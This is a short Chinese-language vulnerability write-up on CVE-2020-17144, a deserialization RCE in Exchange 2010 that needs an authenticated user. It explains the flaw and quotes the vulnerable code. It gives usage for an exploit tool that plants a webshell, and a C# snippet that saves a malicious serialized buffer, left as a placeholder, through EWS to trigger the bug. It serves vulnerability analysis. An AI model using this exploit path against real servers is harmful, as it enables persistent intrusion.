CVE-2020-17144 Exchange2010 反序列化RCE

# CVE-2020-17144 Exchange2010 反序列化RCE

和CVE-2018-8302、CVE-2020-0688类似，CVE-2020-17144同属需登录后利用的反序列化漏洞，但仅影响Exchange2010服务器。

与CVE-2020-0688不同，由于漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在，其危害性和隐蔽性远大于CVE-2020-0688

“`
internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai)
{
…
return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer);
…
}
“`

DeserializeModelFAI 直接将用户可空的个人配置作为参数传入造成RCE

**CVE-2020-17144-EXP**

“`
条件: Exchange2010; 普通用户
默认用法(写webshell): CVE-2020-17144-EXP.exe mail.example.com user pass

执行命令 & 端口复用: 修改ExploitClass.cs
“`

参考 @zcgonvh

“`
https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483712&idx=1&sn=0b2cc3c9692f5c58a4eeb246d4b392fc&chksm=eaa5bb60ddd23276baf4cfd3fc59ca847c28f350c65ef98a17d49bc9944d653fad95dec4fd14&mpshare=1&scene=1&srcid=1209jtbQLVJIgr3VT0Ut1TM9&sharer_sharetime=1607483575995&sharer_shareid=dc9cecc79ba34e4bbb700a43a16153fd#rd
“`

“`
ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);
service.Credentials = new WebCredentials(“zcgonvh”,”P@ssw0rd!”);
service.Url = new Uri(“https://target/ews/Exchange.asmx”);
{
byte[] data = EVIL-SERIALIZED-BUFFER;
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save(“MRM.AutoTag.Model”, folder.Id);
}
“`

ref:

https://github.com/Airboi/CVE-2020-17144-EXP

https://mp.weixin.qq.com/s/nVtE-OFoO076x6T0147AMw

陈师傅